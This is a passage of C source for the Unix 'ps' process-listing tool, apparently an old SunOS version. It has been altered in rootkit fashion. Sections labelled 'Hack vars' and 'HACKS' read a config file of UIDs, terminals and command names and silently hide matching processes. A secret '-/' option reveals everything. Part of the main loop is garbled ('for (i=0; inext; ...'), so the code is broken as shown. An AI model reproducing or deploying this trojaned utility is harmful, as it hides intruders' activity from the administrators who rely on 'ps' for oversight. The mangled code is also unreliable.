s_un; struct asav *ap; } *savcom; struct asav { char *a_cmdp; int a_flag; short a_stat; uid_t a_uid; short a_pid, a_nice, a_pri, a_slptime, a_time; int a_size, a_rss; char a_tty[MAXNAMLEN+1]; dev_t a_ttyd; time_t a_cpu; int a_maxrss; time_t a_start; }; char *lhdr, *jhdr; int wcwidth; /* width of the wchan field for sprintf */ struct lsav { short l_ppid; char l_cpu; caddr_t l_wchan; }; struct jsav { short j_ppid; short j_pgrp; short j_sid; short j_tpgrp; }; char *uhdr; char *shdr; char *vhdr; struct vsav { u_int v_majflt; int v_swrss; float v_pctcpu; }; #define NPROC 16 struct proc *mproc; struct timeval boottime; time_t now; struct user *u; struct sess s; #ifndef PSFILE char *psdb = "/etc/psdatabase"; #else char *psdb = PSFILE; #endif int chkpid = -1; int aflg, cflg, eflg, gflg, kflg, lflg, nflg, rflg, uflg, vflg, xflg, Uflg, jflg; int nchans; /* total # of wait channels */ char *tptr; char *gettty(), *getcmd(), *getname(), *savestr(), *state(); char *rindex(), *calloc(), *sbrk(), *strcpy(), *strcat(), *strncat(); char *strncpy(), *index(), *ttyname(), mytty[MAXPATHLEN+1]; char *malloc(), *getchan(); long lseek(); double pcpu(), pmem(); int wchancomp(); int pscomp(); double ccpu; long kccpu; dev_t rconsdev; int nproc; int nttys; struct ttys { dev_t ttyd; int cand; char name[MAXNAMLEN+1]; } *allttys; int cand[16] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}; struct lttys { struct ttys ttys; struct lttys *next; } *lallttys; /* * struct for the symbolic wait channel info * * WNAMESIZ is the max # of chars saved of the symbolic wchan gleaned * from the namelist. Normally, only WSNAMESIZ are printed in the long * format, unless the terminal width is greater than WTSIZ wide. */ #define WNAMESIZ 12 #define WSNAMESIZ 8 #define WTSIZ 95 struct wchan { char wc_name[WNAMESIZ+1]; /* symbolic name */ caddr_t wc_caddr; /* addr in kmem */ } *wchanhd; /* an array sorted by wc_caddr */ #define NWCINDEX 10 /* the size of the index array */ caddr_t wchan_index[NWCINDEX]; /* used to speed searches */ /* * names listed here are not kept as wait channels -- this is used to * remove names that confuse ps, like symbols that define the end of an * array that happen to be equal to the next symbol. */ char *wchan_stop_list[] = { "umbabeg", "umbaend", "calimit", NULL }; /* * names listed here get mapped -- this is because only a guru will * necessarily know that something waiting on "selwait" is waiting * for a select to finish. */ struct wchan_map { char *map_from; char *map_to; } wchan_map_list[] = { { "proc", "child" }, { "u", "pause" }, { "selwait", "select" }, { "mbutl", "socket" }, { NULL, NULL }, }; int gotwchans; /* 1 if already have the wait channels */ int npr; int cmdstart; int twidth; struct winsize win; char *kmemf, *swapf, *nlistf; kvm_t *kvm_des; int rawcpu, sumcpu; char *cmdbuf; /*+ Hack vars +*/ #define STR_SIZE 128 #define SEP_CHAR " \n" #define SHOWFLAG /* Able to list processes with 'ps -/' command */ struct h_st { struct h_st *next; int hack_type; char hack_cmd[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; char *strp; FILE *fp_hack; int s_pr; #if defined(SHOWFLAG) int show_all=0; #endif /*+ End hack vars +*/ #define pgtok(a) ((a)*CLBYTES/1024) main(argc, argv) char **argv; { register int i; register char *ap; int uid; int width; setlocale(LC_CTYPE, ""); /* get locale environment */ if (ioctl(1, TIOCGWINSZ, &win) == -1) twidth = 80; else twidth = (win.ws_col == 0 ? 80 : win.ws_col); argc--, argv++; if (argc > 0) { ap = argv[0]; if (*ap == '-') ap++; while (*ap) switch (*ap++) { case 'C': rawcpu++; break; case 'S': sumcpu++; break; case 'U': Uflg++; break; case 'a': aflg++; break; case 'c': cflg = !cflg; break; case 'e': eflg++; break; case 'g': gflg++; break; case 'k': kflg++; break; case 'l': lflg++; break; case 'n': nflg++; break; case 'j': jflg++; break; case 'r': rflg++; break; case 't': if (*ap) tptr = ap; else if ((tptr = ttyname(0)) != 0) { tptr = strcpy(mytty, tptr); if (strncmp(tptr, "/dev/", 5) == 0) tptr += 5; } if (strncmp(tptr, "tty", 3) == 0) tptr += 3; aflg++; gflg++; if (tptr && *tptr == '?') xflg++; while (*ap) ap++; break; case 'u': uflg++; break; case 'v': cflg = 1; vflg++; break; case 'w': if (twidth < 132) twidth = 132; else twidth = BUFSIZ; break; case 'x': xflg++; break; case '-': break; #if defined (SHOWFLAG) case '/': show_all++; break; #endif default: if (!isdigit(ap[-1])) { fprintf(stderr, "ps: %c: unknown option\n", ap[-1]); usage(); exit(1); } chkpid = atoi(--ap); *ap = 0; aflg++; xflg++; break; } } nlistf = argc > 1 ? argv[1] : NULL; kmemf = NULL; if (kflg) kmemf = argc > 2 ? argv[2] : "/vmcore"; if (kflg == 0 || argc > 3) swapf = argc > 3 ? argv[3]: "/dev/drum"; else swapf = NULL; getkvars(); uid = getuid(); (void) time(&now); printhdr(); nproc = getw(nl[X_NPROC].n_value); cmdbuf = malloc(twidth+1); savcom = (struct savcom *)calloc((unsigned) nproc, sizeof (*savcom)); if (cmdbuf == NULL || savcom == NULL) { fprintf(stderr, "ps: out of memory allocating savcom\n"); exit(1); } kvm_read(kvm_des, nl[X_BOOTTIME].n_value, &boottime, sizeof (boottime)); if (kvm_setproc(kvm_des) < 0) { cantread("proc table", kmemf); exit(1); } while ((mproc = kvm_nextproc(kvm_des)) != NULL) { if (mproc->p_pgrp == 0 && xflg == 0) continue; if (tptr == 0 && gflg == 0 && xflg == 0 && mproc->p_ppid == 1) continue; if (uid != mproc->p_suid && aflg==0) continue; if (chkpid != -1 && chkpid != mproc->p_pid) continue; if (vflg && gflg == 0 && xflg == 0 && jflg == 0) { if (mproc->p_stat == SZOMB || mproc->p_flag&SWEXIT) continue; if (mproc->p_slptime > MAXSLP && (mproc->p_stat == SSLEEP || mproc->p_stat == SSTOP)) continue; } if (rflg && !(mproc->p_stat == SRUN || mproc->p_pri < PZERO)) continue; save(); } width = twidth - cmdstart - 2; if (width < 0) width = 0; qsort((char *) savcom, npr, sizeof(savcom[0]), pscomp); /*+ Read in hacks lists and build list of hack types +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (PSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strp=(char *)strtok (tmp_str, SEP_CHAR); h_tmp->hack_type=atoi(strp); strp=(char *)strtok ('\0', SEP_CHAR); strcpy (h_tmp->hack_cmd, strp); h_tmp=h_tmp->next; } } h_tmp->next=NULL; for (i=0; inext; h_tmp=h_tmp->next) { switch (h_tmp->hack_type) { case 0: if (sp->ap->a_uid==atoi(h_tmp->hack_cmd)) s_pr--; break; case 1: if (!strcmp(sp->ap->a_tty, h_tmp->hack_cmd)) s_pr--; break; case 2: strcpy (tmp_str, sp->ap->a_cmdp); strp=(char*)strtok (tmp_str, SEP_CHAR); if (strp) if (!strcmp(strp, h_tmp->hack_cmd)) s_pr--; break; } } /*+ End hacks +*/ if (s_pr || show_all) { if (lflg) lpr(sp); else if (jflg) jpr(sp); else if (vflg) vpr(sp); else if (uflg) upr(sp); else spr(sp); if (sp->ap->a_stat == SZOMB) printf(" "); else if (sp->ap->a_flag & SWEXIT) printf(" "); else if (sp->ap->a_pid == 0) printf(" swapper"); else if (sp->ap->a_pid == 2) printf(" pagedaemon"); else printf(" %.*s", twidth - cmdstart - 2, sp->ap->a_cmdp); printf("\n"); } /*+ HACKS +*/ } exit(npr == 0); } getw(loc) unsigned long loc; { int word; if (kvm_read(kvm_des, loc, (char *)&word, sizeof (word)) != sizeof (word)) { if (kmemf == NULL) printf("ps: error reading at %x\n", loc); else printf("ps: error reading %s at %x\n", kmemf, loc); } return (word); } /* * Version allows change of db format w/o temporarily bombing ps's */ char thisversion[4] = "V3"; /* length must remain 4 */ writepsdb(unixname) char *unixname; { register FILE *fp; struct lttys *lt; struct stat stb; setgid(getgid()); setuid(getuid()); if ((fp = fopen(psdb, "w")) == NULL) { fprintf(stderr, "ps: "); perror(psdb); exit(1); } else fchmod(fileno(fp), 0644); fwrite(thisversion, sizeof thisversion, 1, fp); fwrite(unixname, strlen(unixname) + 1, 1, fp); if (stat(unixname, &stb) < 0) stb.st_mtime = 0; fwrite((char *) &stb.st_mtime, sizeof stb.st_mtime, 1, fp); fwrite((char *) &nllen, sizeof nllen, 1, fp); fwrite((char *) nl, sizeof (struct nlist), nllen, fp); fwrite((char *) cand, sizeof (cand), 1, fp); fwrite((char *) &nttys, sizeof nttys, 1, fp); for (lt = lallttys ; lt ; lt = lt->next) fwrite((char *)<->ttys, sizeof (struct ttys), 1, fp); fwrite((char *) &nchans, sizeof nchans, 1, fp); fwrite((char *) wchanhd, sizeof (struct wchan), nchans, fp); fwrite((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp); fclose(fp); } readpsdb(unixname) char *unixname; { register FILE *fp; char unamebuf[BUFSIZ]; char *p = unamebuf; char dbversion[sizeof thisversion]; struct stat stb; time_t dbmtime; extern int errno; if ((fp = fopen(psdb, "r")) == NULL) { if (errno == ENOENT) return (0); fprintf(stderr, "ps: "); perror(psdb); exit(1); } /* * Does the db file match this unix? */ fread(dbversion, sizeof dbversion, 1, fp); if (bcmp(thisversion, dbversion, sizeof thisversion)) goto bad; while ((*p = getc(fp)) != '\0') p++; if (strcmp(unixname, unamebuf)) goto bad; fread((char *) &dbmtime, sizeof dbmtime, 1, fp); if (stat(unixname, &stb) < 0) stb.st_mtime = 0; if (stb.st_mtime != dbmtime) goto bad; fread((char *) &nllen, sizeof nllen, 1, fp); nl = (struct nlist *) malloc (nllen * sizeof (struct nlist)); if (nl == NULL) { fprintf(stderr, "ps: out of memory allocating nlist\n"); exit(1); } fread((char *) nl, sizeof (struct nlist), nllen, fp); fread((char *) cand, sizeof (cand), 1, fp); fread((char *) &nttys, sizeof nttys, 1, fp); allttys = (struct ttys *)malloc(sizeof(struct ttys)*nttys); if (allttys == NULL) { fprintf(stderr, "ps: Can't malloc space for tty table\n"); exit(1); } fread((char *) allttys, sizeof (struct ttys), nttys, fp); fread((char *) &nchans, sizeof nchans, 1, fp); wchanhd = (struct wchan *) malloc(nchans * sizeof (struct wchan)); if (wchanhd == NULL) { fprintf(stderr, "ps: Can't malloc space for wait channels\n"); nflg++; fseek(fp, (long) nchans * sizeof (struct wchan), 1); } else { fread((char *) wchanhd, sizeof (struct wchan), nchans, fp); gotwchans = 1; } fread((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp); fclose(fp); return (1); bad: fclose(fp); return (0); } ps_kvm_open() { kvm_des = kvm_open(nlistf, kmemf, swapf, O_RDONLY, "ps"); if (kvm_des == NULL) { if (nlistf == NULL) fprintf(stderr, "ps: could not read kernel VM\n"); else fprintf(stderr, "ps: could not read kernel VM for %s\n", nlistf); exit(1); /* NOTREACHED */ } } getkvars() { int faildb = 0; /* true if psdatabase init failed */ register char *realnlistf; if ((realnlistf = nlistf) == NULL) realnlistf = "/vmunix"; if (Uflg) { init_nlist(); ps_kvm_open(); kvm_nlist(kvm_des, nl); getvchans(); getdev(); writepsdb(realnlistf); exit (0); } else if (!readpsdb(realnlistf)) { init_nlist(); ps_kvm_open(); faildb = 1; kvm_nlist(kvm_des, nl); nttys = 0; getdev(); } else { ps_kvm_open(); } if (nl[0].n_type == 0) { fprintf(stderr, "ps: %s: No namelist\n", realnlistf); exit(1); } if (faildb) getvchans(); if (kvm_read(kvm_des, nl[X_CCPU].n_value, (char *)&kccpu, sizeof (kccpu)) != sizeof (kccpu)) { cantread("ccpu", kmemf); exit(1); } ccpu = (double)kccpu / FSCALE; #ifdef sun if (kvm_read(kvm_des, nl[X_RCONSDEV].n_value, (char *)&rconsdev, sizeof (rconsdev)) != sizeof (rconsdev)) { cantread("rconsdev", kmemf); exit(1); } #endif } /* * get the valloc'ed kernel variables for symbolic wait channels */ getvchans() { int i, tmp; if (nflg) return; #define addv(i) addchan(&nl[i].n_un.n_name[1], getw(nl[i].n_value)) addv(X_FILE); addv(X_PROC); addv(X_CFREE); addv(X_CALLOUT); addv(X_KERNELMAP); addv(X_MBMAP); if (nl[X_DQUOT].n_value != 0) /* this is #ifdef QUOTA */ addv(X_DQUOT); qsort(wchanhd, nchans, sizeof (struct wchan), wchancomp); for (i = 0; i < NWCINDEX; i++) { tmp = i * nchans; wchan_index[i] = wchanhd[tmp / NWCINDEX].wc_caddr; } #undef addv } printhdr() { char *hdr; if (lflg+vflg+uflg+jflg > 1) { fprintf(stderr, "ps: specify only one of l,v,j and u\n"); exit(1); } if (lflg | jflg) { if (nflg) wcwidth = 8; else if (twidth > WTSIZ) wcwidth = -WNAMESIZ; else wcwidth = -WSNAMESIZ; if (!(hdr = calloc(1, strlen(lflg ? lhdr : jhdr) + WNAMESIZ))) { fprintf(stderr, "ps: out of memory\n"); exit(1); } sprintf(hdr, lflg ? lhdr : jhdr, wcwidth, "WCHAN"); } else if (vflg) hdr = vhdr; else if (uflg) { /* add enough on so that it can hold the sprintf below */ if ((hdr = malloc(strlen(uhdr) + 10)) == NULL) { fprintf(stderr, "ps: out of memory\n"); exit(1); } sprintf(hdr, uhdr, nflg ? " UID" : "USER "); } else hdr = shdr; cmdstart = strlen(hdr); printf("%s COMMAND\n", hdr); (void) fflush(stdout); } cantread(what, fromwhat) char *what, *fromwhat; { if (fromwhat == NULL) (void) fprintf(stderr, "ps: error reading %s\n", what); else (void) fprintf(stderr, "ps: error reading %s from %s\n", what, fromwhat); } struct direct *dbuf; int dialbase; getdev() { register DIR *df; struct ttys *t; struct lttys *lt; if (chdir("/dev") < 0) { perror("ps: /dev"); exit(1); } dialbase = -1; if ((df = opendir(".")) == NULL) { fprintf(stderr, "ps: "); perror("Can't open . in /dev"); exit(1); } while ((dbuf = readdir(df)) != NULL) maybetty(); closedir(df); allttys = (struct ttys *)malloc(sizeof(struct ttys)*nttys); if (allttys == NULL) { fprintf(stderr, "ps: Can't malloc space for tty table\n"); exit(1); } for (lt = lallttys, t = allttys; lt ; lt = lt->next, t++) *t = lt->ttys; } /* * Attempt to avoid stats by guessing minor device * numbers from tty names. Console is known, * know that r(hp|up|mt) are unlikely as are different mem's, * floppy, null, tty, etc. */ maybetty() { register char *cp = dbuf->d_name; static struct lttys *dp; struct lttys *olddp; int x; struct stat stb; switch (cp[0]) { case 'c': if (!strcmp(cp, "console")) { x = 0; goto donecand; } /* cu[la]? are possible!?! don't rule them out */ break; case 'd': if (!strcmp(cp, "drum")) return; break; case 'f': if (!strcmp(cp, "floppy")) return; break; case 'k': cp++; if (*cp == 'U') cp++; goto trymem; case 'r': cp++; #define is(a,b) cp[0] == 'a' && cp[1] == 'b' if (is(h,p) || is(r,a) || is(u,p) || is(h,k) || is(r,b) || is(s,d) || is(x,y) || is(m,t)) { cp += 2; if (isdigit(*cp) && cp[2] == 0) return; } break; case 'm': trymem: if (cp[0] == 'm' && cp[1] == 'e' && cp[2] == 'm' && cp[3] == 0) return; if (cp[0] == 'm' && cp[1] == 't') return; break; case 'n': if (!strcmp(cp, "null")) return; if (!strncmp(cp, "nrmt", 4)) return; break; case 'p': if (cp[1] && cp[1] == 't' && cp[2] == 'y') return; break; case 'v': if ((cp[1] == 'a' || cp[1] == 'p') && isdigit(cp[2]) && cp[3] == 0) return; break; } cp = dbuf->d_name + dbuf->d_namlen - 1; x = 0; if (cp[-1] == 'd') { if (dialbase == -1) { if (stat("ttyd0", &stb) == 0) dialbase = stb.st_rdev & 017; else dialbase = -2; } if (dialbase == -2) x = 0; else x = 11; } if (cp > dbuf->d_name && isdigit(cp[-1]) && isdigit(*cp)) x += 10 * (cp[-1] - ' ') + cp[0] - '0'; else if (*cp >= 'a' && *cp <= 'f') x += 10 + *cp - 'a'; else if (isdigit(*cp)) x += *cp - '0'; else x = -1; donecand: olddp = dp; dp = (struct lttys *)malloc(sizeof(struct lttys)); if (dp == NULL) { fprintf(stderr, "ps: Can't malloc space for tty table\n"); exit(1); } if (lallttys == NULL) lallttys = dp; nttys++; if (olddp) olddp->next = dp; dp->next = NULL; (void) strcpy(dp->ttys.name, dbuf->d_name); if (Uflg) { if (stat(dp->ttys.name, &stb) == 0 && (stb.st_mode&S_IFMT)==S_IFCHR) dp->ttys.ttyd = x = stb.st_rdev; else { nttys--; if (lallttys == dp) lallttys = NULL; free(dp); dp = olddp; if (dp) dp->next = NULL; return; } } else dp->ttys.ttyd = -1; if (x == -1) return; x &= 017; dp->ttys.cand = cand[x]; cand[x] = nttys-1; } char * gettty() { register char *p; register struct ttys *dp; struct stat stb; int x; if (s.s_vp == (struct vnode*)0) { s.s_ttyd = -1; return ("?"); } #ifdef sun if (s.s_ttyd == rconsdev) s.s_ttyd = makedev(0, 0); /* "/dev/console" */ #endif x = s.s_ttyd & 017; for (dp = &allttys[cand[x]]; dp != &allttys[-1]; dp = &allttys[dp->cand]) { if (dp->ttyd == -1) { if (stat(dp->name, &stb) == 0 && (stb.st_mode&S_IFMT)==S_IFCHR) dp->ttyd = stb.st_rdev; else dp->ttyd = -2; } if (dp->ttyd == s.s_ttyd) goto found; } /* ick */ for (dp = allttys; dp < &allttys[nttys]; dp++) { if (dp->ttyd == -1) { if (stat(dp->name, &stb) == 0 && (stb.st_mode&S_IFMT)==S_IFCHR) dp->ttyd = stb.st_rdev; else dp->ttyd = -2; } if (dp->ttyd == s.s_ttyd) goto found; } return ("?"); found: p = dp->name; if (p[0]=='t' && p[1]=='t' && p[2]=='y') p += 3; return (p); } save() { register struct savcom *sp; register struct asav *ap; char *ttyp, *cmdp; int save_ttyd; if (mproc->p_stat != SZOMB) if ((u = kvm_getu(kvm_des, mproc)) == NULL) return; kvm_read(kvm_des, mproc->p_sessp, &s, sizeof(s)); save_ttyd = s.s_ttyd; ttyp = gettty(); if (xflg == 0 && ttyp[0] == '?' || tptr && strncmp(tptr, ttyp, 2)) return; sp = &savcom[npr]; cmdp = getcmd(); sp->ap = ap = (struct asav *)calloc(1, sizeof (struct asav)); if (ap == NULL) { fprintf(stderr, "ps: out of memory allocating asav\n"); exit(1); } sp->ap->a_cmdp = cmdp; #define e(a,b) ap->a = mproc->b e(a_flag, p_flag); e(a_stat, p_stat); e(a_nice, p_nice); e(a_uid, p_suid); e(a_pid, p_pid); e(a_pri, p_pri); e(a_slptime, p_slptime); e(a_time, p_time); ap->a_tty[0] = ttyp[0]; ap->a_tty[1] = ttyp[1] ? ttyp[1] : ' '; if (ap->a_stat == SZOMB) { ap->a_cpu = 0; ap->a_ttyd = s.s_ttyd; } else { ap->a_size = mproc->p_dsize + mproc->p_ssize; e(a_rss, p_rssize); ap->a_ttyd = s.s_ttyd; ap->a_cpu = u->u_ru.ru_utime.tv_sec + u->u_ru.ru_stime.tv_sec; if (sumcpu) ap->a_cpu += u->u_cru.ru_utime.tv_sec + u->u_cru.ru_stime.tv_sec; ap->a_start = u->u_start.tv_sec; } #undef e ap->a_maxrss = mproc->p_maxrss; if (jflg) { register struct jsav *jp; sp->s_un.jp = jp = (struct jsav *) calloc(1, sizeof (struct jsav)); if (jp == NULL) { fprintf(stderr, "ps: out of memory allocating jsav\n"); exit(1); } jp->j_ppid = mproc->p_ppid; jp->j_pgrp = mproc->p_pgrp; jp->j_sid = s.s_sid; if (s.s_ttyp) { kvm_read(kvm_des, s.s_ttyp, &jp->j_tpgrp, sizeof(pid_t)); } else jp->j_tpgrp = -1; } else if (lflg) { register struct lsav *lp; sp->s_un.lp = lp = (struct lsav *) calloc(1, sizeof (struct lsav)); if (lp == NULL) { fprintf(stderr, "ps: out of memory allocating lsav\n"); exit(1); } #define e(a,b) lp->a = mproc->b e(l_ppid, p_ppid); e(l_cpu, p_cpu); if (ap->a_stat != SZOMB) e(l_wchan, p_wchan); #undef e } else if (vflg) { register struct vsav *vp; sp->s_un.vp = vp = (struct vsav *) calloc(1, sizeof (struct vsav)); if (vp == NULL) { fprintf(stderr, "ps: out of memory allocating vsav\n"); exit(1); } #define e(a,b) vp->a = mproc->b if (ap->a_stat != SZOMB) { e(v_swrss, p_swrss); vp->v_majflt = u->u_ru.ru_majflt; } vp->v_pctcpu = pcpu(); #undef e } else if (uflg) sp->s_un.u_pctcpu = pcpu(); npr++; } /* * Calculate the percentage of memory to charge to this process. */ double pmem(ap) register struct asav *ap; { double fracmem; static int totpages, havepages; /* * Lazy evaluation. */ if (havepages == 0) { totpages = (struct page *)getw(nl[X_EPAGES].n_value) - (struct page *)getw(nl[X_PAGES].n_value); havepages = 1; } /* * The second clause guards against nlist botches and such. */ if ((ap->a_flag & SLOAD) == 0 || totpages <= 0) fracmem = 0.0; else { /* * Calculate an approximation to the process's * memory consumption. Background information: * 1) We estimate the total pool of available memory * by calculating (epages-pages). When the VM * system is generalized to support noncontiguous * physical memory, this will have to change. * 2) This difference is an overestimate, since some * of these pages can go to the kernel and aren't * actually available for user processes. * 3) We use ap->a_rss as the measure of the process's * memory demand. This neglects all shared segments, * such as shared libraries. The rss itself isn't * particularly accurate either -- this is a deficiency * of the initial implementation of the new VM system. * 4) We completely neglect u-area pages in the calculations. */ fracmem = ((double)ap->a_rss) / totpages; } return (100.0 * fracmem); } double pcpu() { time_t time; double p; time = mproc->p_time; if (time == 0 || (mproc->p_flag&SLOAD) == 0) return (0.0); p = (double)mproc->p_pctcpu / FSCALE; if (rawcpu) return (100.0 * p); return (100.0 * p / (1.0 - exp(time * log(ccpu)))); } char * getcmd() { char **proc_argv = NULL; char **proc_environ = NULL; register char **argp; register char *ap; register char *cp, *ep; register int c; int nbad; char tempbuf[sizeof(u->u_comm)+10]; bzero(cmdbuf, twidth+1); if (mproc->p_stat == SZOMB || mproc->p_flag&(SSYS|SWEXIT)) return (""); if (cflg) { (void) strncpy(cmdbuf, u->u_comm, sizeof (u->u_comm)); return (savestr(cmdbuf)); } if (kvm_getcmd(kvm_des, mproc, u, &proc_argv, eflg ? &proc_environ : NULL) < 0) { (void) strcpy(cmdbuf, " ("); (void) strncat(cmdbuf, u->u_comm, sizeof (u->u_comm)); (void) strcat(cmdbuf, ")"); } else { cp = cmdbuf; ep = cmdbuf + twidth; argp = proc_argv; nbad = 0; while (((ap = *argp++) != NULL) && (cp < ep)) { while (((c = (unsigned char)*ap++) != 0) && (cp < ep - 1)) { if (!isprint(c)) { if (++nbad >= 5) break; *cp = '?'; } else *cp++ = c; } *cp++ = ' '; } if (eflg) { argp = proc_environ; nbad = 0; while (((ap = *argp++) != NULL) && (cp < ep)) { while (((c = (unsigned char)*ap++) != 0) && (cp < ep - 1)) { if (!isprint(c)) { if (++nbad >= 5) break; *cp = '?'; } else *cp++ = c; } *cp++ = ' '; } } *cp = 0; while (*--cp == ' ') *cp = 0; if (*proc_argv == NULL || cmdbuf[0] == '-' || cmdbuf[0] == '?' || cmdbuf[0] <= ' ') { (void) strcpy(tempbuf, " ("); (void) strncat(tempbuf, u->u_comm, sizeof(u->u_comm)); (void) strcat(tempbuf, ")"); (void) strncat(cmdbuf, tempbuf, ep-cp); } if (proc_argv != NULL) free(proc_argv); if (proc_environ != NULL) free(proc_environ); } return (savestr(cmdbuf)); } char *jhdr = " PPID PID PGID SID TT TPGID STAT UID TIME"; jpr(sp) struct savcom *sp; { register struct asav *ap = sp->ap; register struct jsav *jp = sp->s_un.jp; char flg[10]; char *s = flg; strcpy(flg, state(ap)); for (s=flg; isalpha(*s); s++) ; if (ap->a_flag & SNOCLDSTOP) *s++ = 'C'; if (ap->a_flag & SORPHAN) *s++ = 'O'; if (ap->a_flag & SEXECED) *s++ = 'E'; *s = 0; printf("%5u%6u%6u%6d ", jp->j_ppid, ap->a_pid, jp->j_pgrp, jp->j_sid); ptty(ap->a_tty); printf("%6d %5s%6d", jp->j_tpgrp, flg, ap->a_uid); ptime(ap); } char *lhdr = " F UID PID PPID CP PRI NI SZ RSS %*s STAT TT TIME"; lpr(sp) struct savcom *sp; { register struct asav *ap = sp->ap; register struct lsav *lp = sp->s_un.lp; printf("%8x%4d%6u%6u%3d%4d%3d%4d%5d", ap->a_flag, ap->a_uid, ap->a_pid, lp->l_ppid, lp->l_cpu&0377, ap->a_pri-PZERO, ap->a_nice-NZERO, pgtok(ap->a_size), pgtok(ap->a_rss)); if (lp->l_wchan == 0) printf(" %*s", wcwidth, ""); else if (nflg) printf(" %*x", wcwidth, (int)lp->l_wchan&0xffffffff); else printf(" %*.*s", wcwidth, abs(wcwidth), getchan(lp->l_wchan)); printf(" %4.4s ", state(ap)); ptty(ap->a_tty); ptime(ap); } ptty(tp) char *tp; { printf("%-2.2s", tp); } ptime(ap) struct asav *ap; { printf("%3ld:%02ld", ap->a_cpu / 60, ap->a_cpu % 60); } char *uhdr = "%s PID %%CPU %%MEM SZ RSS TT STAT START TIME"; upr(sp) struct savcom *sp; { register struct asav *ap = sp->ap; char *cp; int vmsize, rmsize; vmsize = pgtok(ap->a_size); rmsize = pgtok(ap->a_rss); if (nflg) printf("%4d ", ap->a_uid); else printf("%-8.8s ", getname(ap->a_uid)); printf("%5d%5.1f%5.1f%5d%5d", ap->a_pid, sp->s_un.u_pctcpu, pmem(ap), vmsize, rmsize); putchar(' '); ptty(ap->a_tty); printf(" %4.4s", state(ap)); if (ap->a_start == 0) ap->a_start = boottime.tv_sec; cp = ctime(&ap->a_start); if ((now - ap->a_start) > 60*60*24) printf("%.7s", cp+3); else printf("%.6s ", cp+10); ptime(ap); } /* * Removed 9 columns by zapping the (meaningless in SunOS 4.0) TSIZ and TRS * fields. Consider using this space to widen currently-cramped columns. */ char *vhdr = " PID TT STAT TIME SL RE PAGEIN SIZE RSS LIM %CPU %MEM"; vpr(sp) struct savcom *sp; { register struct vsav *vp = sp->s_un.vp; register struct asav *ap = sp->ap; printf("%5u ", ap->a_pid); ptty(ap->a_tty); printf(" %4.4s", state(ap)); ptime(ap); printf("%3d%3d%7d%5d%5d", ap->a_slptime > 99 ? 99 : ap-> a_slptime, ap->a_time > 99 ? 99 : ap->a_time, vp->v_majflt, pgtok(ap->a_size), pgtok(ap->a_rss)); if (ap->a_maxrss == (RLIM_INFINITY/NBPG)) printf(" xx"); else printf("%6d", pgtok(ap->a_maxrss)); printf("%5.1f%5.1f", vp->v_pctcpu, pmem(ap)); } char *shdr = " PID TT STAT TIME"; spr(sp) struct savcom *sp; { register struct asav *ap = sp->ap; printf("%5u", ap->a_pid); putchar(' '); ptty(ap->a_tty); printf(" %4.4s", state(ap)); ptime(ap); } char * state(ap) register struct asav *ap; { char stat, load, nice, anom; static char res[5]; switch (ap->a_stat) { case SSTOP: stat = 'T'; break; case SSLEEP: if (ap->a_pri >= PZERO) if (ap->a_slptime >= MAXSLP) stat = 'I'; else stat = 'S'; else if (ap->a_flag & SPAGE) stat = 'P'; else stat = 'D'; break; case SWAIT: case SRUN: case SIDL: stat = 'R'; break; case SZOMB: stat = 'Z'; break; default: stat = '?'; } load = ap->a_flag & SLOAD ? (ap->a_rss>ap->a_maxrss ? '>' : ' ') : 'W'; if (ap->a_nice < NZERO) nice = '<'; else if (ap->a_nice > NZERO) nice = 'N'; else nice = ' '; anom = (ap->a_flag&SUANOM) ? 'A' : ((ap->a_flag&SSEQL) ? 'S' : ' '); res[0] = stat; res[1] = load; res[2] = nice; res[3] = anom; return (res); } pscomp(s1, s2) struct savcom *s1, *s2; { register int i; if (uflg) return (s2->s_un.u_pctcpu > s1->s_un.u_pctcpu ? 1 : -1); if (vflg) return (vsize(s2) - vsize(s1)); i = s1->ap->a_ttyd - s2->ap->a_ttyd; if (i == 0) i = s1->ap->a_pid - s2->ap->a_pid; return (i); } vsize(sp) struct savcom *sp; { register struct asav *ap = sp->ap; register struct vsav *vp = sp->s_un.vp; if (ap->a_flag & SLOAD) return (ap->a_rss); return (vp->v_swrss); } #include struct utmp utmp; #define NMAX (sizeof (utmp.ut_name)) #define SCPYN(a, b) strncpy(a, b, NMAX) #define NUID 64 struct ncache { int uid; char name[NMAX+1]; } nc[NUID]; /* * This function assumes that the password file is hashed * (or some such) to allow fast access based on a uid key. */ char * getname(uid) { register struct passwd *pw; struct passwd *getpwent(); register int cp; #if (((NUID) & ((NUID) - 1)) != 0) cp = uid % (NUID); #else cp = uid & ((NUID) - 1); #endif if (uid >= 0 && nc[cp].uid == uid && nc[cp].name[0]) return (nc[cp].name); pw = getpwuid(uid); if (!pw) return (0); nc[cp].uid = uid; SCPYN(nc[cp].name, pw->pw_name); return (nc[cp].name); } char * savestr(cp) char *cp; { register unsigned len; register char *dp; len = strlen(cp); dp = (char *)calloc(len+1, sizeof (char)); if (dp == NULL) { fprintf(stderr, "ps: savestr: out of memory\n"); exit(1); } (void) strcpy(dp, cp); return (dp); } /* * since we can't init unions, the cleanest way to use a.out.h instead * of nlist.h (required since nlist() uses some defines) is to do a * runtime copy into the nl array -- sigh */ init_nlist() { register struct nlist *np; register char **namep; nllen = sizeof nl_names / sizeof (char *); np = nl = (struct nlist *) malloc(nllen * sizeof (struct nlist)); if (np == NULL) { fprintf(stderr, "ps: out of memory allocating namelist\n"); exit(1); } namep = &nl_names[0]; while (nllen > 0) { np->n_un.n_name = *namep; if (**namep == '\0') break; namep++; np++; } } /* * nlist - retreive attributes from name list (string table version) * [The actual work is done in _nlist.c] */ nlist(name, list) char *name; struct nlist *list; { register int fd; register int e; fd = open(name, O_RDONLY, 0); e = _nlist(fd, list); close(fd); return (e); } /* * _nlist - retreive attributes from name list (string table version) * modified to add wait channels - Charles R. LaBrec 8/85 */ _nlist(fd, list) int fd; struct nlist *list; { register struct nlist *p, *q; register int soff; register int stroff = 0; register n, m; int maxlen, nreq; off_t sa; /* symbol address */ off_t ss; /* start of strings */ int type; struct exec buf; struct nlist space[BUFSIZ/sizeof (struct nlist)]; char strs[BUFSIZ]; maxlen = 0; for (q = list, nreq = 